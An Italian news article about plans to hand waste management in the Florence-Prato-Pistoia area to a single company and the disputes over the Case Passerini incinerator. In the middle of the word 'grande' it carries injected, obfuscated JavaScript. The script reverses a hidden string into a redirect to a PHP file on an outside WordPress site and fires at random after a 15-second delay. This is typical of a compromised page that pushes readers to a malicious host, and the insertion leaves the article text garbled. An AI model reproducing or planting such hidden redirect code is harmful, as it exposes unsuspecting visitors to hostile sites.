La torta dei rifiuti

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Si appresta ad essere affidata ad un’unica società, appositamente creata, la gestione dei rifiuti nella piana fra Firenze, Prato e Pistoia. La Regione si prepara così a riorganizzare tutto per far spazio alla realizzazione dell’inceneritore di Case Passerini. Il nuovo impianto rappresenta la materializzazione di una bella torta, che in tanti vorrebbero mangiare. Il Quadrifoglio, la più gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande delle attuali aziende di gestione dei rifiuti coinvolte, rivendica un posto di rilievo nella nuova società. Ma le “sorelle” di Prato e Pistoia non hanno certo intenzione di farsi mettere i piedi in testa. E così la battaglia per la spartizione del gruzzolo è appena iniziata. A suon di poltrone. Intanto gli amministratori locali (regione, provincia e comuni), cercano di affrettare (si parla di gennaio) i tempi di inizio dei lavori, quasi ignari delle tappe imposte dalla legge. Dopo l’approvazione dell’impianto da parte della provincia di Firenze, avvenuta nel luglio scorso, sul territorio è infatti d’obbligo una valutazione di impatto ambientale. Successivamente l’appalto per i lavori deve essere assegnato con una gara pubblica. Ma almeno per ora nessuno ne parla.

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